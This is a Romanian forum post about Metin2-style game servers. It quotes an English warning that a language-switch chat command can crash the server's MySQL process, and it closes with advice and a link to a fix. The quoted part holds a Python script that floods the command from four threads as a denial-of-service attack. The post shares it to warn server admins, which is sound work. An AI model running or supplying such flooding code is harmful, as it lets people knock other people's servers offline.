Luca Dr3Ame3r Cristian scrie:Quote de pe un website, cititi un pic inainte sa va riscati cu bullshituri de pe internet.
could probably crash your mysql-process, when you let 5-10 players use it. Even with only one player and some threads you could crash the process alone:Cod: Selectaţi tot
x = 0 while x < 10000: net.SendChatPacket("/limba_engleza") net.SendChatPacket("/limba_romana") x += 1And now imagine 150 players doing that everyday, because they don't like you or something.Cod: Selectaţi tot
Python Source Code class AnyClass(object): def __init__(self): chat.AppendChat(chat.CHAT_TYPE_INFO, "Trying to crash now...") chat.AppendChat(chat.CHAT_TYPE_INFO, "They stab it with their steely knives but they just can't kill the beast.") def JustACrash(self): x = 0 while x < 10000: net.SendChatPacket("/limba_engleza") net.SendChatPacket("/limba_romana") x += 1 def Crash(self): import thread thread.start_new_thread(self.JustACrash,()) thread.start_new_thread(self.JustACrash,()) thread.start_new_thread(self.JustACrash,()) thread.start_new_thread(self.JustACrash,()) AnyClass().Crash()
Try to improve your code by caching the variable of the database and not using DirectQuery's that often.
Mici modificari aici http://just4metin.ro/sursa/fix-anti-cmd ... 78908.html si sa zicem ca ai rezolvat



